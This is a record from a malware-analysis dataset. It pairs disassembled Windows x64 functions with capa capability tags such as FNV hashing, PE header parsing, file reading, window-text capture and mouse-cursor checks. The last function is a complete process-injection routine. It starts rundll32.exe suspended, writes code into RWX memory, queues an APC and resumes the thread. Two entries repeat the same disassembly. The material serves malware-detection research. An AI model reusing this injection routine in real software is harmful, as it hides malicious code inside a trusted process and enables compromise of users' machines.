joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140054b90
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x1400ce3e0]
xorps xmm0, xmm0
add rcx, 1
js 0x140054bab
cvtsi2ss xmm0, rcx
jmp 0x140054bc0
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [0x1400ce3d0]
call fcn.140081928
movss xmm1, dword [0x1400bcdfc]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x140054bf2
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x140054bf2
movabs rax, 0x8000000000000000
mov rcx, rax
mov rdx, qword [0x1400ce408]
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rdx, rcx
jae 0x140054c2b
cmp rdx, 0x200
jae 0x140054c28
lea rdx, [rdx*8]
cmp rdx, rcx
jae 0x140054c2b
mov rdx, rcx
add rsp, 0x28
jmp 0x140054c60
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
ja 0x140054e0e
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x1400ce3d8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x1400ce3e8]
lea rdx, [rdi + rdi]
call fcn.1400546a0
mov rax, qword [0x1400ce3d8]
lea r9, [rdi - 1]
mov qword [0x1400ce400], r9
mov qword [0x1400ce408], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x140054e03
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
nop word [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x1400ce3e8]
mov r9, qword [r11]
cmp r9, rbx
jne 0x140054d4f
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x140054dc4
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x140054d8c
mov r10, qword [rdx]
cmp r10, rax
je 0x140054d86
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x140054dc4
cmp r9, rdx
je 0x140054da0
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x140054dd8
cmp r9, rdx
jne 0x140054d91
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x140054dfe
mov r9, qword [0x1400ce400]
jmp 0x140054d00
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x140054dc4
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rcx, str.invalid_hash_bucket_count
call fcn.140055edc
int3
Function at 0x140054c60
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x1400ce3e0]
xorps xmm0, xmm0
add rcx, 1
js 0x140054bab
cvtsi2ss xmm0, rcx
jmp 0x140054bc0
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [0x1400ce3d0]
call fcn.140081928
movss xmm1, dword [0x1400bcdfc]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x140054bf2
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x140054bf2
movabs rax, 0x8000000000000000
mov rcx, rax
mov rdx, qword [0x1400ce408]
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rdx, rcx
jae 0x140054c2b
cmp rdx, 0x200
jae 0x140054c28
lea rdx, [rdx*8]
cmp rdx, rcx
jae 0x140054c2b
mov rdx, rcx
add rsp, 0x28
jmp 0x140054c60
push rdi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov edi, 1
bsr rcx, rax
mov eax, edi
shl rax, cl
cmp rdx, rax
ja 0x140054e0e
lea rax, [rdx - 1]
mov qword [rsp + 0x30], rbx
mov rbx, qword [0x1400ce3d8]
or rax, rdi
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x1400ce3e8]
lea rdx, [rdi + rdi]
call fcn.1400546a0
mov rax, qword [0x1400ce3d8]
lea r9, [rdi - 1]
mov qword [0x1400ce400], r9
mov qword [0x1400ce408], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x140054e03
mov qword [rsp + 0x40], rsi
movabs rdi, 0x100000001b3
movabs rsi, 0xcbf29ce484222325
nop word [rax + rax]
movzx edx, byte [rax + 0x11]
movzx r11d, byte [rax + 0x10]
mov rcx, qword [rcx]
xor r11, rsi
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x12]
imul r11, rdi
xor r11, rdx
movzx edx, byte [rax + 0x13]
imul r11, rdi
xor r11, rdx
imul r11, rdi
and r11, r9
shl r11, 4
add r11, qword [0x1400ce3e8]
mov r9, qword [r11]
cmp r9, rbx
jne 0x140054d4f
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x140054dc4
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x140054d8c
mov r10, qword [rdx]
cmp r10, rax
je 0x140054d86
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x140054dc4
cmp r9, rdx
je 0x140054da0
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x140054dd8
cmp r9, rdx
jne 0x140054d91
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rbx
je 0x140054dfe
mov r9, qword [0x1400ce400]
jmp 0x140054d00
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x140054dc4
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
lea rcx, str.invalid_hash_bucket_count
call fcn.140055edc
int3
Function at 0x140055370
Capabilities:
Check for unmoving mouse cursor

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400cb058]
xor rax, rsp
mov qword [rsp + 0x28], rax
test cl, cl
lea rcx, [rsp + 0x20]
je 0x140055441
test dl, dl
je 0x140055406
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140055509
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x1400cbcf4]
mov r10, rax
test edx, edx
je 0x1400553f6
cmp edx, 1
jne 0x140055509
movzx r9d, word [rsp + 0x24]
mov edx, 0x201
movzx ecx, word [rsp + 0x20]
mov r8d, 1
shl r9d, 0x10
or r9, rcx
mov rcx, rax
call qword [sym.imp.USER32.dll_PostMessageW]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140057dd0
add rsp, 0x38
ret
mov edx, 0x201
mov r8d, 1
jmp 0x1400554ee
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140055509
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x1400cbcf4]
mov r10, rax
test edx, edx
je 0x140055437
cmp edx, 1
jne 0x140055509
mov edx, 0x204
jmp 0x1400554b0
mov edx, 0x204
jmp 0x1400554e8
test dl, dl
je 0x140055489
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140055509
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x1400cbcf4]
mov r10, rax
test edx, edx
je 0x14005547c
cmp edx, 1
jne 0x140055509
mov edx, 0x202
mov r8d, 1
jmp 0x1400554b6
mov edx, 0x202
mov r8d, 1
jmp 0x1400554ee
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x140055509
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov edx, dword [0x1400cbcf4]
mov r10, rax
test edx, edx
je 0x1400554e3
cmp edx, 1
jne 0x140055509
mov edx, 0x205
mov r8d, 2
movzx r9d, word [rsp + 0x24]
movzx ecx, word [rsp + 0x20]
shl r9d, 0x10
or r9, rcx
mov rcx, r10
call qword [sym.imp.USER32.dll_PostMessageW]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140057dd0
add rsp, 0x38
ret
mov edx, 0x205
mov r8d, 2
movzx r9d, word [rsp + 0x24]
mov rcx, r10
movzx eax, word [rsp + 0x20]
shl r9d, 0x10
or r9, rax
call qword [sym.imp.USER32.dll_SendMessageW]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140057dd0
add rsp, 0x38
ret
Function at 0x140055520
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
sub rsp, 0x240
mov rax, qword [0x1400cb058]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
jne 0x140055568
mov qword [rbx], rsi
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
jmp 0x1400555e7
mov r8d, 0x80
lea rdx, [rsp + 0x30]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
mov qword [rbx], rsi
lea rax, [rsp + 0x30]
mov qword [rbx + 0x10], rsi
mov rdx, 0xffffffffffffffff
mov qword [rbx + 0x18], 7
mov word [rbx], si
nop word [rax + rax]
inc rdx
cmp word [rax + rdx*2], si
jne 0x1400555a0
mov rcx, rbx
cmp rdx, 7
ja 0x1400555dd
mov qword [rbx + 0x10], rdx
mov qword [rsp + 0x258], rdi
lea rdi, [rdx + rdx]
mov r8, rdi
lea rdx, [rsp + 0x30]
call fcn.14005a270
mov word [rdi + rbx], si
mov rdi, qword [rsp + 0x258]
jmp 0x1400555e7
lea r9, [rsp + 0x30]
call fcn.1400075a0
mov rax, rbx
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140057dd0
mov rbx, qword [rsp + 0x260]
add rsp, 0x240
pop rsi
ret

Function at 0x140058e38
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140058e82
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140058e82
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140058e82
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140058e82
cmp dword [rcx + 0x84], 0xe
jbe 0x140058e82
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140058e84
xor al, al
add rsp, 0x28
ret
Function at 0x140060994
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140058aa0
sub rsp, rax
mov rax, qword [0x1400cb058]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400710c8
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x1400609e3
mov rax, rbp
jmp 0x140060aeb
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xcdae0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.140072140
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0xcdae0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x140060ae7
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140060ae7
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.140072140
test rax, rax
js 0x140060ae7
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x140060ae7
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x140060ad9
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x140060ad9
cmp byte [rcx], 0xd
jne 0x140060abf
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x140060ace
cmp byte [rcx + 1], 0xa
jne 0x140060ace
inc rcx
jmp 0x140060ace
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xcb450]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x140060aa1
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140060aeb
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140057dd0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400697d0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14006962f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14006962f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006962f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006962f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006962f
cmp dword [rcx + 0x84], 0xe
jbe 0x14006962f
cmp dword [rcx + 0xf8], 0
je 0x14006962f
mov ecx, ebx
call fcn.1400696ec
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400694bc
nop
cmp dword [rbp + 0x20], 0
je 0x14006967d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140069688
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400695c0
Function at 0x1400727e4
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x1400cdae0]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x140072842
cmp word [rdx], r12w
jne 0x140072842
or byte [rax + r8*8 + 0x38], cl
jmp 0x140072848
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x1400729a3
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14007297e
lea r9, [rcx + 2]
cmp ax, r13w
je 0x140072881
mov rcx, r9
jmp 0x1400728a4
cmp r9, rdx
jae 0x1400728bb
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x140072865
jmp 0x1400729a3
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140072978
cmp dword [rsp + 0x80], edi
je 0x140072978
mov rdx, r14
lea r11, [0x1400cdae0]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x140072951
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x140072924
mov word [rbx], r12w
jmp 0x14007299f
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x14007292d
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14007299f
cmp word [rsp + 0x70], r12w
jne 0x14007295e
cmp rbx, rsi
je 0x14007291e
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.140072148
cmp word [rsp + 0x70], r12w
je 0x1400729a3
mov word [rbx], r13w
jmp 0x14007299f
lea r11, [0x1400cdae0]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14007299b
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x1400729a3
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400731f8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14007322a
call fcn.14006a758
mov dword [rax], 0x16
call fcn.14005e988
jmp 0x140073349
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x140073349
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x140073349
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x140073259
lock or dword [rcx + 0x14], 0x10
jmp 0x140073349
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14007326d
call fcn.140073364
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.1400710c8
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.140072c90
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x140073337
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x140073302
mov rcx, rsi
call fcn.1400710c8
cmp eax, edi
je 0x1400732ed
mov rcx, rsi
call fcn.1400710c8
cmp eax, 0xfffffffe
je 0x1400732ed
mov rcx, rsi
call fcn.1400710c8
movsxd rbx, eax
lea r14, [0x1400cdae0]
mov rcx, rsi
sar rbx, 6
call fcn.1400710c8
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x1400732f4
lea rdx, [0x1400cb400]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x140073302
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x140073326
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x140073326
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x140073326
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14007334c
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x140079278
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400792a8
xor eax, eax
jmp 0x14007936b
mov rbp, rbx
cmp word [rax], si
je 0x1400792cd
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400792b4
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400792b0
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400779fc
movsxd r14, eax
test eax, eax
jne 0x14007930b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400792a1
mov rcx, r14
call fcn.140074b58
mov rdi, rax
test rax, rax
jne 0x140079324
xor ecx, ecx
call fcn.140071e54
jmp 0x140079300
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400779fc
test eax, eax
jne 0x140079355
mov rcx, rdi
call fcn.140071e54
jmp 0x14007935f
xor ecx, ecx
call fcn.140071e54
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14007ffb8
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140072148
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140072148
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140080108
cmp rax, 0xffffffffffffffff
je 0x140080108
xor edi, edi
test rbp, rbp
jle 0x1400800b3
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140071ddc
mov rbx, rax
test rax, rax
jne 0x140080040
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1400800a9
mov edx, 0x8000
mov ecx, r14d
call fcn.14006e238
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140071acc
cmp eax, 0xffffffff
je 0x140080089
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140080050
mov edx, r15d
mov ecx, r14d
call fcn.14006e238
jmp 0x1400800a9
cmp byte [rsi + 0x38], dil
je 0x1400800a0
cmp dword [rsi + 0x34], 5
jne 0x1400800a0
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1400800a9
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.140071e54
jmp 0x14008011c
jns 0x14008011c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140072148
cmp rax, 0xffffffffffffffff
jne 0x1400800d4
cmp byte [rsi + 0x30], dil
je 0x14008011c
mov edi, dword [rsi + 0x2c]
jmp 0x14008011c
mov ecx, r14d
call fcn.140079b50
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x14008011c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x14008011c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140080115
mov eax, dword [rsi + 0x2c]
jmp 0x14008011a
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140072148
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x40225e
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [0x004cc200]
test rax, rax
je 0x402271
call rax
mov ecx, 2
call qword [fcn.00418300]
mov r8d, 0xe
mov edx, 1
lea rcx, str.out_of_memory_n
mov rbx, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, rbx
call sub.msvcrt.dll_fflush
mov ecx, 1
call sub.msvcrt.dll_exit
nop

Function at 0x407790
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xd0
xor eax, eax
xor r9d, r9d
xor r8d, r8d
lea rdi, [rsp + 0x68]
mov rsi, rcx
mov ecx, 0x1a
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x50]
mov ecx, 6
mov rbx, rdx
rep stosd dword [rdi], eax
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x68]
mov qword [rsp + 0x40], rax
lea rcx, str.C:WindowsSystem32_rundll32.exe
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov r12, qword [rsp + 0x50]
mov r8, rbx
xor edx, edx
mov rdi, qword [rsp + 0x58]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r9, rbx
mov r8, rsi
mov rcx, r12
mov qword [rsp + 0x20], 0
mov rbp, rax
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor r8d, r8d
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0xd0
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [0x004c68f0]
movsxd rdx, dword [rax]
mov rax, qword [0x004c68e0]
mov rcx, qword [rax]
jmp 0x407790
sub rsp, 0x28
call fcn.00407887
nop
add rsp, 0x28
jmp 0x40789c